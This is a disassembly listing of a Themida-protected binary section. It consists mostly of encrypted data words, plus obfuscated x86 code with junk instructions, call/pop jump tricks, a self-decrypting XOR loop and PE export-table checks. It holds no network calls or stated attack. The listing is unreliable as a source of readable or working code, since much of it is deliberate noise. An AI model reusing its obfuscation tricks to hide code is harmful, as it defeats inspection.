0DFF3A08Fh dd 27227003h, 0A83A2DB9h, 0E34050EBh, 620B92EBh, 0E8C6630Bh dd 0B35658B0h, 52FFFFF4h, 42A72758h, 44D15E17h, 0E809314Ch dd 8606775Dh, 0F06419FBh, 0FC1221C4h, 69BD51C8h, 66000004h dd 0ED98F885h, 6D187805h, 0FF8AFA83h, 6B167607h, 1594F489h dd 16674DA7h, 97E6CBB6h, 16674A35h, 99E4CBB6h, 94725F37h dd 0A7246FC5h, 8670DED7h, 81FCF5A4h, 880831E8h, 196B12FDh dd 373724ABh, 0AD3EDF1Ah, 65BEBFA8h, 0D8CF7EB4h, 7671FCA5h dd 80388507h, 22B1C231h, 62476F52h, 0BCCB821Bh, 0D69C1429h dd 532D6A68h, 0E3C776B3h, 84ADD0B6h, 265750DDh, 0B3E274Fh dd 0CE7A892h, 0F185A729h, 0BA09A781h, 1D45512Dh, 0A8D1AD3Eh dd 0FF9E988Bh, 9DAD3E1Ch, 75C2C66Ch, 7F7F6CBBh, 0B35882ACh dd 43D26108h, 6660304Dh, 0A724383Dh, 68F5A289h, 0BDCEC596h dd 5203F049h, 0D188215Ch, 475325A9h, 7D000000h, 3EDF1637h dd 0BB50EAADh, 3EDE9EBBh, 5A65FEADh, 0AD3D7B2h, 4242EB42h dd 8866D1B7h, 0AD3E8BC9h, 0CED79ECBh, 3E8BA5F4h, 0F76B0BADh dd 3494E9DFh, 0E6F56E7h, 37462D68h, 8C02542Eh, 0C56FAD3Eh dd 5F1E152Dh, 0A386DF6Dh, 605E4DDAh, 0AD3EDF31h, 0E980B663h dd 8755BEAh, 4D302332h, 0C9D0B954h, 4D049DE0h, 0F4F07D24h dd 7CFAE089h, 3043B4E8h, 0DF164343h, 0BBB4AD3Eh, 29F29BC2h dd 0A83C3A00h, 47E49990h, 0D1A9D4B6h, 0F18EC3FDh, 31C0AD3Eh dd 7201E559h, 0FFFF679Dh, 9F862FFFh, 8B8514FAh, 6BF23BF2h dd 3696E7DEh, 0C3745CE9h, 3EDE96C3h, 1A5306ADh, 27A4CA83h dd 0D1AD3A89h, 0B353E775h, 15F178A1h, 0A729D644h, 1E9A0AA4h dd 6BECEE89h, 4B6Dh, 6CC45F00h, 0A300E1Dh, 0CAB353E2h dd 7C09069Fh, 0B745ED90h, 0A729DB96h, 2EB26152h, 9F70C101h dd 951F2265h, 0B2A83DF6h, 2A600C4Fh, 0E88EE747h, 0CDDA56CEh dd 296BECE6h, 0EEh, 255851FCh, 0E2AF8F7Ch, 0B2A729C6h dd 0A88AE87h, 0C7DE9F86h, 684F482Ah, 0EE9A3916h, 1CAF3CF5h dd 9E552A46h, 2641F98Bh, 0B9F3A48Bh, 0D12B4E15h, 7F0A93DAh dd 8693F588h, 116914F7h, 3DE73133h, 0C9B49BADh, 48513CC7h dd 2D503960h, 0D7342D04h, 0E1D0A59h, 3DE66130h, 300633ADh dd 2A25B0C3h, 0CBA34A53h, 52E9C171h, 858015B3h, 24F41F8h dd 0EBF8F746h, 0FCD9858h, 817D84D4h, 0A7298ED4h, 9AE099C0h dd 4139EEACh, 6C7BAEADh, 3292EBE1h, 0F24C56E5h, 0DFB828E3h dd 6716FC97h, 707F5F1h, 0A83AB7FAh, 1ECh, 398BF2E3h, 0A1235A4Eh dd 3B8DF0D6h, 0A7295450h, 587F6DCh, 0F4D630A6h, 937C0789h dd 0FCEF9AEAh, 89840F81h, 0FFC94F4h, 246C622Fh, 0CB4332A7h dd 0B393A486h, 0AD3EDEE6h, 0DAAA83B6h, 364740CDh, 235A5500h dd 6CC413A1h, 701D0E1Dh, 0CF2D0578h, 0B353E22Bh, 0BBA7BE6Bh dd 0A729DB9Ah, 0D854E04Eh, 6BECF7CFh, 0C127h, 9F869900h dd 482AC7DEh, 39186A4Fh, 0D0202F4Eh, 0CA8767C6h, 0CAAD3E3Ah dd 69FD69Fh, 3E3F481Ch, 0E29B92ADh, 0B1CCB845h, 553901B8h dd 0AAD3BD48h, 1934FAB3h, 0F9564F2Eh, 303F03Fh, 0B35340F3h dd 0DDA092A3h, 64640DC4h, 1D0A59D7h, 40E41621h, 0C1B3C2ADh dd 0C77675BCh, 0EB3898E5h, 3006775Ah, 836A2F25h, 9FAA63FAh dd 22CBD2ABh, 0A2E3054Bh, 0E099FA07h, 10B4Eh, 0AECFC400h dd 3E3F33DEh, 0B0CDC34Eh, 443935E0h, 0AAD3B944h, 936D5BDAh dd 21ECDCA1h, 88735528h, 21ECDCA1h, 9D755726h, 6B87D6B0h dd 0A015A724h, 0D9A48632h, 62DEA95Ah, 0BA0843F3h, 9A9C058Dh dd 35FDDB90h, 0BEBFA651h, 9F8680CEh, 0D64751F8h, 0FAF46DDBh dd 0AD3EC05Bh, 10691039h, 6C11FC99h, 8A7E0F1Ch, 0E8DF6AF3h dd 0C650C95h, 7CCB6566h, 94E9DE6Fh, 388B7E0Dh, 51EA4414h dd 0E5E15228h, 0B358B18Eh, 4BE67FAAh, 0CCB71964h, 0B0CDB8E1h dd 0E9164343h, 0D386A723h, 4008D9Ah, 0DD7C7A79h, 0BFA723E8h dd 0E1BDE48Ah, 0BC00E72Fh, 0C24901Eh, 3F6C5C21h, 0AA42D58Ch dd 34D81FD7h, 24B2E17Eh, 0BAD9A14Dh, 0DF87C4D3h, 425A4F04h dd 0EFD772EBh, 927A178Eh, 0F0D772EBh, 305D148Dh, 351D4439h dd 40F72BB7h, 0B744BE36h, 0EDED9404h, 831268C0h, 0F49FF18Ch dd 49DD84F9h, 10h, 0D4C7B467h, 0C6403D29h, 0AD3EDE97h dd 0AC1E5405h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h dd 0DBC6804h, 0C890000h, 0E7895724h, 4C781h, 0EF810000h dd 4, 5C243C87h, 50240C89h, 405E089h, 83000000h, 48704E8h dd 2C895C24h, 3685624h, 5E4FCA7Ah, 0ECA6C681h, 0F189B64Fh dd 8124348Bh, 4C4h, 4EC8100h, 89000000h, 4832424h, 535D0424h dd 0BA52CB89h, 8, 1A89EA01h, 34FF5B5Ah, 0C4815D24h, 4 dd 592434FFh, 0E904C483h, 0FFFBD3F4h, 746EB886h, 0C503061Ah dd 5727E0FFh, 0C6880A7Ch, 66B73FCDh, 0AA547441h, 0A6134B20h dd 33A1127Fh, 354951A9h, 97D71B0h, 0F16166D7h, 16AA5DBAh dd 0BF4806DDh, 190835E3h, 4E1F750Bh, 0D8EE091Bh, 98DB2256h dd 6EC73C2h, 0C5B86336h, 0B6D71A88h, 9D8D1372h, 6150581h dd 0CEB8h, 0FD858900h, 0E8061500h, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5D105B ; --------------------------------------------------------------------------- byte_5D0F8D db 2 dup(0), 0F2h ; DATA XREF: Themida_:00579FB0o dd 2Dh dup(0F2000076h) db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5D1047: ; CODE XREF: Themida_:005D1066j repne jbe short $+3 add dl, dh jbe short $+2 add dl, dh jbe short $+2 add dl, dh jbe short $+2 add dl, dh jbe short near ptr loc_5D1058+1 ; CODE XREF: Themida_:loc_5D1058j ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- loc_5D105B: ; CODE XREF: Themida_:005D0F88j call sub_5D106A popa bound edx, [ebx] aaa test al, 52h jnp short loc_5D1047 loope loc_5D10B0 ; =============== S U B R O U T I N E ======================================= sub_5D106A proc near ; CODE XREF: Themida_:loc_5D105Bp mov ecx, 70FC945Dh pop eax call near ptr loc_5D107C+1 and [ebx], bh in eax, dx neg byte ptr [esi+74h] pop ds loc_5D107C: ; CODE XREF: sub_5D106A+6p mov edx, 815E33B5h sub_5D106A endp ; sp-analysis failed sar dl, 6Fh ; --------------------------------------------------------------------------- dd 68F50000h, 0 ; --------------------------------------------------------------------------- mov ch, 5Fh pop edi mov cx, 4AE3h loc_5D1093: ; CODE XREF: Themida_:005D1106j mov edx, [eax+edi] xor ebx, 35A509A8h xor edx, 7A7431C9h js near ptr dword_5D10AC mov bx, 55C7h ; --------------------------------------------------------------------------- dword_5D10AC dd 0AE5AEA81h ; --------------------------------------------------------------------------- loc_5D10B0: ; CODE XREF: Themida_:005D1068j nop dec esp clc sub edx, 64AF090Eh jg loc_5D10CD jmp loc_5D10CD ; --------------------------------------------------------------------------- dd 0F2BEB361h, 0D1E09FA3h ; --------------------------------------------------------------------------- dec ebx loc_5D10CD: ; CODE XREF: Themida_:005D10B9j ; Themida_:005D10BFj push edx jmp loc_5D10E7 ; --------------------------------------------------------------------------- lahf cld pop edx inc ebx and al, dh xor [edx], bh dec esp retf ; --------------------------------------------------------------------------- db 20h, 13h, 0CDh dd 5848DA32h db 1Ch, 0B7h, 0D8h ; --------------------------------------------------------------------------- loc_5D10E7: ; CODE XREF: Themida_:005D10CEj pop dword ptr [eax+edi] and bh, 45h mov ebx, 8116A96h sub edi, 770BEBFBh add edi, 770BEBF7h mov bh, cl cmp edi, 0FFFF90B4h jnz loc_5D1093 sbb esi, 2503527Ah lea ecx, [ebp+61A77D5h] mov eax, [ebp+6150AD9h] mov [ebp+6152721h], ecx push 0 push ecx call sub_5D112F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D112F proc near ; CODE XREF: Themida_:005D1127p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5D112F endp ; --------------------------------------------------------------------------- align 10h rol byte ptr [edx-7], 1 add al, 2Ch cld mov [ebp+61506E1h], ecx mov dword ptr [ebp+61504CDh], 61F0h push 0 push esi call sub_5D1161 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1161 proc near ; CODE XREF: Themida_:005D1159p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5D1161 endp ; --------------------------------------------------------------------------- db 59h, 0F1h, 0B6h dd 0E80D83A3h, 8, 7C4C45E0h, 77032C06h, 12E8h, 9AD01800h dd 0BEE86BD7h, 68354A59h, 0B6CCED09h, 0FC76190h, 86h, 0C75A5F00h dd 15111585h, 6, 35BD8B00h, 0FF061530h, 152E0DB5h, 9EE88006h dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2E1046C3h, 5299B9B8h, 14F19589h dd 0E95F0615h, 0Dh, 63621142h, 66E304F6h, 201A48BCh, 0FF006A48h dd 152E2195h ; --------------------------------------------------------------------------- loc_5D1204: ; DATA XREF: Themida_:0057A110o push es mov eax, eax jmp short loc_5D1285 ; --------------------------------------------------------------------------- db 79h, 0DDh, 76h dd 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h, 4E436640h, 0CE6E66B5h dd 59BA19A9h, 2872CA8Eh, 5ACF78F5h, 8A042F94h, 0A3374469h dd 0F87342D2h, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h, 2EF3C1Ch dd 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h, 0C85E22ABh dd 0EF03E40Fh, 0D6706143h, 11369C88h, 6189128Eh, 3586397Eh dd 30D574DCh, 4AD8DD13h, 1D1C5E4Eh, 0ECCB7831h, 0C17CFDC8h ; --------------------------------------------------------------------------- push eax loc_5D1285: ; CODE XREF: Themida_:005D1207j jmp loc_5D133A ; --------------------------------------------------------------------------- pusha mov dx, ds test dl, 4 jnz loc_5D12A3 cmp eax, [ebp+6151685h] jz loc_5D12D9 loc_5D12A3: ; CODE XREF: Themida_:005D1291j cmp eax, [ebp+6150789h] jz loc_5D12D9 cmp eax, [ebp+6151789h] jz loc_5D12D9 cmp eax, [ebp+6151015h] jz loc_5D12D9 cmp dword ptr [ebp+6152CEDh], 1 jz loc_5D12D9 jmp loc_5D1338 ; --------------------------------------------------------------------------- loc_5D12D9: ; CODE XREF: Themida_:005D129Dj ; Themida_:005D12A9j ... mov edx, eax add edx, [edx+3Ch] mov edi, [edx+88h] mov ecx, [edx+78h] test ecx, ecx jz loc_5D1338 add edx, 0F8h mov esi, [edx+0Ch] add ecx, eax mov ebx, [ecx+1Ch] mov edx, [ecx+14h] add ebx, eax loc_5D1302: ; CODE XREF: Themida_:005D1320j mov ecx, [ebx] test ecx, ecx jz loc_5D131C cmp ecx, esi jb loc_5D132B cmp ecx, edi jnb loc_5D132B loc_5D131C: ; CODE XREF: Themida_:005D1306j add ebx, 4 dec edx jnz loc_5D1302 jmp loc_5D1338 ; --------------------------------------------------------------------------- loc_5D132B: ; CODE XREF: Themida_:005D130Ej ; Themida_:005D1316j lea ebx, [ebp+6154F9Eh] mov eax, 5 jmp ebx ; --------------------------------------------------------------------------- loc_5D1338: ; CODE XREF: Themida_:005D12D4j ; Themida_:005D12E9j ... popa retn ; --------------------------------------------------------------------------- loc_5D133A: ; CODE XREF: Themida_:loc_5D1285j or edx, eax lea ecx, [ebp+61A79C8h] push 0 push edi call sub_5D134D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D134D proc near ; CODE XREF: Themida_:005D1345p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5D134D endp ; --------------------------------------------------------------------------- db 71h, 0A8h, 0DCh dd 2B255D79h, 8E9B9h, 95CA0000h, 243FCA0Dh, 23517629h dd 150E059Dh, 8D895F06h, 6152721h, 6919D89h, 85C70615h dd 61504CDh, 6070h, 45BD3357h, 5806152Ah, 111585C7h, 615h dd 0F8530000h, 89BD8B5Eh, 0FF061518h, 1502B5B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 11E97C0Eh, 82000000h, 32B41BB4h, 4A79635Bh, 562FB6D5h dd 0C2303E6Eh, 2C995FFh, 0C6810615h, 1B7EE085h, 95FF006Ah dd 6152E21h, 2FEBC08Bh, 81CA6770h, 2A1D376Eh, 50657ADh dd 80FF808Ah, 444681Ah, 0F046B389h, 0DE5B5F7h, 0FB29B31Ah dd 9D2C6832h, 19ADCCD2h, 0B21E706h, 0EB4C7B69h, 60h, 17h dup(0) dd 0B71E900h, 65E90000h, 6800000Bh, 61A8272h, 0FB03E1E9h dd 83CD68FFh, 0D7E9061Ah, 68FFFB03h, 61A8441h, 0FB03CDE9h dd 0DC4CAAFFh, 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h dd 0A41F8C0Bh, 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h dd 8896BB8Ah, 9455169Ch, 0E0624FA8h, 16999A70h, 0F370A6h dd 0B9660F7Fh, 0EAF4CA3Ah, 86F2365Bh, 6E4B510h, 0E4114608h dd 0C69787C3h, 4DAF5C0Eh, 55B001DDh, 2DCB1E5h, 86281E43h dd 1ECCDD10h, 0C7C03F0h, 2999190Ah, 361FEDh, 8B29A1E5h dd 8DED1ECCh, 0A808191Dh, 88E5FE38h, 0A4051E18h, 0E92D9D18h dd 6DFB3B14h, 97C599C9h, 86C0E52Ch, 149B8810h, 0B29D72A4h dd 98BF86D8h, 5F16A15Eh, 715ECE32h, 7F15686Dh, 90A71794h dd 3C2EED97h, 0C838B9FAh, 88B87D2Dh, 6EFA7DB6h, 0A4999D0Dh dd 0DA9CAC8Bh, 0AD9C1631h, 776577BDh, 9CDB85CCh, 0B3576816h dd 9CDBCD08h, 979FB016h, 0A5B9298Ah, 0CBBF2F8Ch, 0C7247CC0h dd 65276557h, 464F04Ch, 6BCFBB94h, 0E0DC0CABh, 8398864Fh dd 0D9D24A19h, 0A6D66231h, 68A82673h, 3DB9h, 0CABCD00h dd 864FE0DCh, 0BAD8ECD9h, 0FD3F2BFFh, 860C0346h, 0E3D9EA10h dd 0C5246B4Fh, 6D4ABA39h, 3319348Ah, 9F9DB249h, 73E3624Fh dd 4F60CC97h, 28F08986h, 0B65413F1h, 2B06h, 0CAB2200h dd 54B102DCh, 2DDDB2E4h, 0ADF44F05h, 0DE1086F2h, 6B4FCBF1h dd 3FDC864Fh, 9CB92DDh, 0E151B061h, 0E353D4DDh, 72561307h dd 3DB0BABh, 9C1BA040h, 2A6C3D16h, 93DB82CBh, 19C46B16h dd 0E858D8D9h, 0C434B5AEh, 0D848A8EBh, 8A09E1DEh, 9DBD431Fh dd 20BA5h, 0AAB8100h, 0FF56FEE2h, 2B04199Dh, 5461B013h dd 0B1C1086h, 0D8C22233h, 952B0E6Bh, 0C61567C2h, 3E2C50F5h dd 53C90ED0h, 3A607AA7h, 83F35241h, 61C92AE7h, 22870C00h dd 8D5BA5B2h, 3618FDD2h, 40749D28h, 2EF71086h, 49F4AA55h dd 9F4B6467h, 0E3624F7Bh, 0CE2E4373h, 4867585Eh, 0A21271A2h dd 0E3624F7Ah, 3660D057h, 4F407659h, 0AB89719Bh, 0D502DC0Ch dd 0E311C1F2h, 34E88269h, 86FC486h, 96A19E98h, 35AEE20Fh dd 36DE8C42h, 0A82673A6h, 57B968h, 0ABCD0000h, 4FE0DC0Ch dd 9971E162h, 0F2D900C3h, 0A2A41086h, 86F2FE23h, 83AC7D10h dd 0B7864F99h, 1E6EF6B6h, 38827047h, 0AE0F172Bh, 24427ABCh dd 4CBC39C5h, 624F3963h, 0CB9A70E0h, 0E0624F5Dh, 0CD2D4670h dd 4B64595Dh, 48039Fh, 23390000h, 86F279A0h, 57330410h dd 0DC0CABE3h, 0ADF44FE0h, 0DE1086F2h, 68CB57D5h, 0EEDFD7F8h dd 0DED848A5h, 0C3F0CEE1h, 0F3E4D242h, 0E560D379h, 0E42F00E8h dd 0C9711989h, 0C5246B4Fh, 0F0538955h, 1086F2A9h, 73A74354h dd 0AAB7256h, 6C4104DAh, 0EF1086F2h, 0A6D700DEh, 18BC4583h dd 331913F7h, 0D7779A29h, 25F61086h, 0F767C445h, 0C7241A1Eh dd 0F2BADF66h, 70411086h, 43275D5Fh, 0E0DC0CABh, 73A6A286h dd 0D368A826h, 0C28EFB02h, 4525DC8Ch, 46D5h, 0CABB100h dd 8D4FE0DCh, 6056C624h, 0F9207B6Fh, 221086F2h, 0F73FAF11h dd 63346406h, 246B4F39h, 4C8955C5h, 0F4BAB12Bh, 0D53D2D88h dd 5FB57256h, 0F3000000h, 6DC768E2h, 19BA9D0Dh, 13AF88C4h dd 9892B297h, 0ABE35733h, 0DC02DC0Ch, 86F22069h, 10FACB10h dd 0E0624F2Ch, 0F29DC47Fh, 4F601086h, 11B48A60h, 1086F2C8h dd 81C87B41h, 6C1086F3h, 19BB9263h, 93BC8E29h, 6B4F80BCh dd 6755C524h, 66C39456h, 267FC5FFh, 0EB1EA1B6h, 0F20949Dh dd 0CFB5B75Bh, 0D1000000h, 4DA0AABh, 86F21041h, 0DCDAEB10h dd 400364C7h, 1086F219h, 0E2FCD3E4h, 5EE36FD1h, 0F8D7A8EEh dd 476058DFh, 0FBEF31B8h, 0C724CC70h, 65276557h, 377CEC4Ch dd 7D5244B4h, 0CABA58Dh, 0F23158EBh, 0C92F1086h, 0F9D6E759h dd 0DF624FC3h, 4CF07B6Fh, 93B68D4Fh, 5A1086F2h, 77E74A49h dd 26C51893h, 4B2B68A8h, 0FF000000h, 93B68D4Fh, 5A1086F2h dd 77E74A49h, 0F69C4E3Fh, 54701B43h, 7E3427F7h, 0F44F6B51h dd 1086F2ADh, 4F3D7F50h, 64C5246Bh, 0F286CB7Ah, 54651086h dd 86F2A8F1h, 6D425310h, 4F72562Fh, 95C81486h, 54361C9Fh dd 1D68h, 0CAB4400h, 0C5DD20E4h, 17381EFDh, 0ADF44F25h dd 0DE1086F2h, 6B4FCBF1h, 6755C524h, 0C7247256h, 0F2525F57h dd 0BF3CF382h, 0E844D033h, 6E5F5778h, 21F08A49h, 52A518Bh dd 87E64B11h, 3487317h, 6F10869Eh, 0FADB17C6h, 4C9D4F0Ch dd 0F633D7A1h, 68B11475h, 131086FEh, 0DB482D02h, 0FD6DCC58h dd 0BA5DE4D2h, 0C3278C4Eh, 806A6353h, 0A221A619h, 0BAF76332h dd 0F3CCCA3Ah, 0ADDDA117h, 17563291h, 0D6E7169Ch, 0C43865E0h dd 4AC51693h, 5083E663h, 20099DBDh, 1D000000h, 8757C724h dd 0B456C62Ah, 0F2D6FB7Ah, 6B1A1086h, 90008344h, 0BB7C5905h dd 8ABAEA6Ch, 24BB5F0Bh, 7D5F57C7h, 0F352B334h, 1086F2AEh dd 63537C4Dh, 661A806Ah, 0CA9D2836h, 4916A16Ch, 0CD786678h dd 169C8884h, 0BD885667h, 169C8894h, 0C9A44657h, 6ED11DE1h dd 0E8C7B8FEh, 61936FD6h, 192A1086h, 5177961Dh, 99001CA9h dd 0BD962326h, 211EA3D7h, 0FA000000h, 3ABE0AABh, 0DCF3CCCAh dd 0F26E4302h, 268B1086h, 5B951C1h, 0AC092A34h, 125B593Ch dd 2F000000h, 4DA0AABh, 86F26C41h, 0DEEF10h, 13E252B3h dd 0B68D4F25h, 1086F293h, 1A1495Ah, 193h, 0E010AB15h, 0DF624FBCh dd 0B456276Fh, 0C724727Ah, 654ABA3Bh, 6BDB5859h, 84B8522Bh dd 71E1624Fh, 0D3A24845h, 2673A665h, 37B968A8h, 0CD000000h dd 93B68D4Fh, 5A1086F2h, 4CF7A149h, 0F271982Bh, 2BFC1086h dd 0F44F1804h, 1086F2ADh, 4F3D7F50h, 59C9246Bh, 34864F63h dd 529575F8h, 1D0B5A30h, 2CB5h, 624FD100h, 2E4373E3h, 625B5BCBh dd 48F39D4Dh, 0AD184618h, 1086F264h, 0E0543607h, 0F2ADF44Fh dd 0F1DE1086h, 246B4FCBh, 566359C9h, 57C72472h, 0AB432765h dd 4FE0DC0Ch, 0F293B68Dh, 495A1086h, 0A666D2A1h, 68A82673h dd 42B9h, 624FCD00h, 167C6EDEh, 4F093363h, 86F2ADF4h, 3D7F5010h dd 0BF488D4Fh, 24F44E84h, 33A3060Dh, 624FE357h, 0F23975DDh dd 250BB89Ch, 57330C0Ah, 0B5E757DAh, 624F7256h, 56276FDFh dd 6F08B4h, 0AB240000h, 0D502DC0Ch, 0EEF9A8DAh, 0A9199910h dd 0BC2C8D86h, 2DE5857Ah, 0F44F8D4Fh, 1086F2ADh, 308B7F50h dd 1086F2E9h, 0EE6C1522h, 0ED65560Fh, 8EDBFCC2h, 0E9691DB5h dd 0F83BB5FCh, 4B64FC41h, 6B4F7B9Fh, 93B68D4Fh, 5A1086F2h dd 9F0B6E49h, 2405BD9Ah, 0F464C546h, 869C9EAh, 86CD143Dh dd 0E9C6D710h, 0F007D0ADh, 0D083AF97h, 56CC701Ah, 67C82472h dd 86F2B5DCh, 48673810h, 4BBB3D76h, 0CE0E759Fh, 961086F2h dd 0A90BBC23h, 42B9B1Dh, 54EFED71h, 1086F20Dh, 6DBB4E87h dd 0A00099A5h, 2437DB8Fh, 455E58C8h, 756777E7h, 0F550C03Ch dd 1086F2ACh, 72E2624Fh, 0C87FAD5Dh, 4A14DED1h, 86F2567Bh dd 0B0131510h, 1086F269h, 3E2C0314h, 370E6FCDh, 1086F212h dd 0EE7C8D9h, 86FC2BB3h, 0CC5CD910h, 5697A827h, 0FFFFFE25h dd 0F297B632h, 0B25B1086h, 0CF1086F2h, 430263E2h, 1086F21Eh dd 7E3CCDDh, 86F2769Ch, 0F2D1FC10h, 74991086h, 0FC1086F2h dd 0D086F2D1h, 199EEA8Eh, 0BF906DA9h, 0E6CC249Fh, 0EDEFD69Eh dd 91063356h, 6ECDBAD6h, 8539D1FEh, 48F882B4h dd 477F4618h, 16D08BF7h, 9D2D7805h, 82EF1BDh, 2B4ACh, 0A8189600h dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 70D2F7CEh dd 0D899169Ch, 3BC72464h, 13F74DB5h, 369F9F16h, 36283619h dd 86524A8Fh, 8A603110h, 2A5A1E8Ch, 0CCDAB114h, 506116A1h dd 57C7258Eh, 6176D8B3h, 0F6CD06Dh, 91A6979Fh, 9872FCD3h dd 9DFBE02Dh, 0B4102116h, 0B98C5244h, 169DFB90h, 85654A5Bh dd 233B6B0Bh, 979F839h, 7D03300Dh, 1D3E5D0Dh, 0DC10BA65h dd 3DBEF3CBh, 78FB28CDh, 0E6134710h, 0E5CAAFD3h, 5C0352B1h dd 4CEC1CB3h, 0E483421Ch, 731A94C2h, 14979CA2h, 248DD1A4h dd 44B437C3h, 31927F6Bh, 0DA2C75D0h, 0FECF02D6h, 0A353E5D1h dd 0FD86B73h, 8E04F144h, 4FEF79BDh, 381D3F1Fh, 9823E2Bh dd 86BA812h, 8CD3F298h, 6B0ECBF3h, 6E49B93Eh, 34FC59ADh dd 805E7103h, 0D46FD033h, 0E037E8Dh, 6FFC3007h, 9B7AEE0h dd 0B17E1738h, 51B4E252h, 0E02E20Ch, 0D9E515E9h, 2764956Ah dd 13031408h, 8C421349h, 0A7562D0Ah, 661138EDh, 0EC4F3426h dd 0DB453A7Ch, 0D8DE4EAEh, 7822C8E7h, 6DC698C8h, 0A39C9A0Ah dd 12CE75C7h, 0EB323B6Fh, 0E6C939BEh, 3503CA17h, 239F9593h dd 159h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h dd 9C71557Ch, 0E5571816h, 3DB0BABh, 0F2276AD9h, 0F5C61086h dd 0EF843F15h, 6E16A16Ch, 6273595Dh, 40587251h, 91576DD6h dd 0A82496Eh, 0EF1E1621h, 500AC9BFh, 104000BAh, 0C89B774Eh dd 0D1E21081h, 0BB5CF54Ch, 0EC486EB1h, 0E5h, 0FC990965h dd 0C352C227h, 0D4A1116Ch, 8C69D95Fh, 0D2A31397h, 57DBD6D5h dd 9E210EE7h, 5CD8472Eh, 991A09ECh, 537B4C29h, 9C76A9F0h dd 0A9935416h, 3DB0BABh, 0A16CA340h, 2D693A16h, 0AE47B734h dd 0A4920281h, 2C326216h, 10800132h, 62412926h, 10BB1639h dd 210EE7B8h, 0F96530A0h, 0FC6CCEE3h, 0B2060049h, 6ADA5E1Ch dd 0DCED532Ch, 1080FD2Eh, 0DA4AAE85h, 1686E43Bh, 4201DB7Fh dd 1CB2061Fh, 0E454B1DEh, 90F21FCBh, 97151E20h, 6C1EEF27h dd 3DAD1221h, 0F969CB58h, 34A4071Ch, 56DD261h, 4D1DE19Eh dd 1EF7D8DEh, 0A6B8E898h, 0FA1FA6B8h, 811CB215h, 0A0EBDAB0h dd 3F1A958Bh, 0B83B286Eh, 0B4A1AD48h, 0E3D95B74h, 893C0282h dd 2C9F940h, 54701A2Bh, 0Dh, 6F6D2F68h, 86F28DD4h, 0AB5F7010h dd 5ACA2487h, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 8953783Ch dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 4EC81h, 34890000h dd 419C6824h, 0C890000h, 27B95124h, 814BA928h, 1115D4F1h dd 59CE8955h, 0EE81DEF7h, 0DB2D4787h, 4EC81h, 24890000h dd 24048324h, 0BB535904h, 8, 5158C381h, 0CB0149FAh, 5158EB81h dd 338949FAh, 240C8B5Bh, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0FF5C243Ch, 835E2434h, 87E904C4h, 0DFFFAF8h, 1A854BB8h dd 8BC50306h, 0DE8C3h, 0A0BF0000h, 5B0AE789h, 0B9B18D1Bh dd 0E975F730h, 10h, 0A7176C52h, 2989EA13h, 0B6C4E8E1h dd 0B11571B8h, 0A1E7815Bh, 810204ABh, 5BFCC3h, 78BAF500h dd 81036588h, 659E98F2h, 0F0816603h, 0B8BD9BEh, 3331C181h dd 0EABF0AFAh, 81769B18h, 40EAC6E9h, 0C181F903h, 64C74E85h dd 7E9h, 27579400h, 953C0222h, 0EB830B89h, 5880F02h, 66000000h dd 6A0DD881h, 4AF94B4Bh, 0FFC0850Fh, 73E9FFFFh, 6A000002h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0FCC8C350h, 13E9D72Dh, 8D000000h, 0FA475B96h dd 739E56DFh, 0B22F5274h, 98926EA2h, 0B58DE201h, 61A8767h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 20C35343h dd 606B6D99h, 68A0Fh, 0E1810000h, 229DEA2Ah, 0BE9h, 0FDEB500h dd 739F6C9Ah, 0DFC88E27h, 0B8666061h, 0BE8865Fh, 79000000h dd 434C3257h, 0E60D79ACh, 616068E4h, 858D6158h, 6184559h dd 98E0Fh, 8B600000h, 0F52FBAD3h, 0FF610CCEh, 810F60D0h dd 11h, 0CE9h, 873EAF00h, 807C064Ch, 1B53BFF1h, 5890F05h dd 66000000h, 4865F181h, 12E86061h, 0B8000000h, 0EBF114DEh dd 0AA096F40h, 222BB820h, 36B51EDEh, 505EFC38h, 615A2CB6h dd 138A0FC3h, 0F000000h, 0D86h, 8E900h, 1C570000h, 5AF4EAC4h dd 8C6686CBh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 800F601Dh, 6, 0A173F781h, 7E96559h dd 0D9000000h, 99EBB860h, 0F66177D6h, 840F04C1h, 67h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ADC35545h, 0A92F2F05h dd 0B55F0D68h, 6E9h, 9F4B7800h, 8B0B5218h, 32CB8BFBh, 0FD75AEC0h dd 0D9F7CF2Bh, 0D78BF92Bh, 